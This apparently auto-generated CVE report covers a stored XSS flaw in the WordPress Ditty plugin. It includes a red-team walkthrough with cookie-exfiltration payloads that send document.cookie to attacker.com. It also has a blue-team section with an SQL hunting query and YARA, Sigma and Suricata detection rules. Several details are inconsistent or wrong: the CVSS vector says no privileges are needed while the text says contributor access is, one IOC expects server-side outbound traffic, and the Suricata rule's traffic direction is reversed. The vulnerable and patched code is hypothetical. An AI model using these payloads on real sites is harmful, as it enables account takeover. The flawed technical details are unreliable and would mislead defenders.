CVE-2025-60105

Executive Summary

CVE-2025-60105 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Ditty (ditty-news-ticker) by Metaphorcreations, affecting versions up to and including 3.1.58. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a significant risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Ditty plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from these sources are at risk. No official patch has been released by the vendor, and the plugin may be abandoned. Organizations should treat this as a supply chain risk and consider removing or replacing the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but exploitation requires a user to interact with the malicious content)
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability exists in the Ditty plugin's handling of user input when creating or editing news ticker items. The plugin fails to sanitize or escape input fields (such as the ticker title or content) before storing them in the database and later rendering them on the frontend. An attacker with contributor-level access (or higher) can inject JavaScript payloads into these fields. When an administrator or other user views the ticker on the site, the payload executes in their browser context.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post() on user-supplied data.

Attack Flow:

1. Attacker logs in with a contributor account.
2. Attacker creates a new ticker item and inserts a malicious script in the title field, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the wp_postmeta table.
4. When an admin visits the page displaying the ticker, the script executes.
5. The attacker can steal cookies, perform actions on behalf of the admin, or redirect users.

Vulnerable vs. Patched Code

Vulnerable Code (example from Ditty <= 3.1.58):

// In a template file or shortcode handler
echo $ticker_title; // No escaping

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $ticker_title );

The patch would involve applying esc_html() or wp_kses_post() to all user-supplied data before output, and using sanitize_text_field() or similar on input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with Ditty plugin <= 3.1.58
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Ditty → Add New Ticker.
3. In the "Title" field, enter a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the ticker.
5. Craft a social engineering email to an admin, enticing them to view the ticker page.
6. When the admin visits the page, the script executes, sending their cookies to the attacker's server.

Alternative Payload (for session hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual JavaScript in ticker titles or content fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress user roles and limit contributor permissions.

Hunting:

• Search the database for <script> tags in wp_postmeta where meta_key relates to Ditty.
• Query: SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%' AND meta_key LIKE '%ditty%';

Mitigation:

• Disable or remove the Ditty plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin that adds input validation.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ditty-news-ticker/ (presence of the plugin)
• Database: Rows in wp_postmeta with meta_key containing ditty and meta_value containing <script> tags.
• Network: Outbound requests to unknown domains from the WordPress server (e.g., attacker.com).
• Logs: Unusual POST requests to /wp-admin/admin-ajax.php with Ditty-related actions.

Detection Engineering

YARA Rule

rule Detect_Ditty_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Ditty plugin meta values"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60105"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $ditty_meta = /ditty/i
    condition:
        $xss_payload and $ditty_meta
}

Sigma Rule

title: Stored XSS in Ditty WordPress Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Ditty plugin ticker fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=ditty_save_ticker'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in ticker content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60105 Stored XSS in Ditty Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ditty_save_ticker"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable and remove the Ditty plugin from all WordPress installations.
2. Alternative: If the plugin is critical, implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests to Ditty endpoints.
3. Code Fix: Apply output escaping using esc_html() or wp_kses_post() on all user-supplied data before rendering.
4. User Management: Restrict contributor-level accounts and audit existing users.
5. Monitoring: Enable logging for all admin-ajax.php requests and review for suspicious patterns.
6. Long-term: Replace the plugin with a maintained alternative that follows secure coding practices.

Report generated by Valters IT DevSecOps & CTI Framework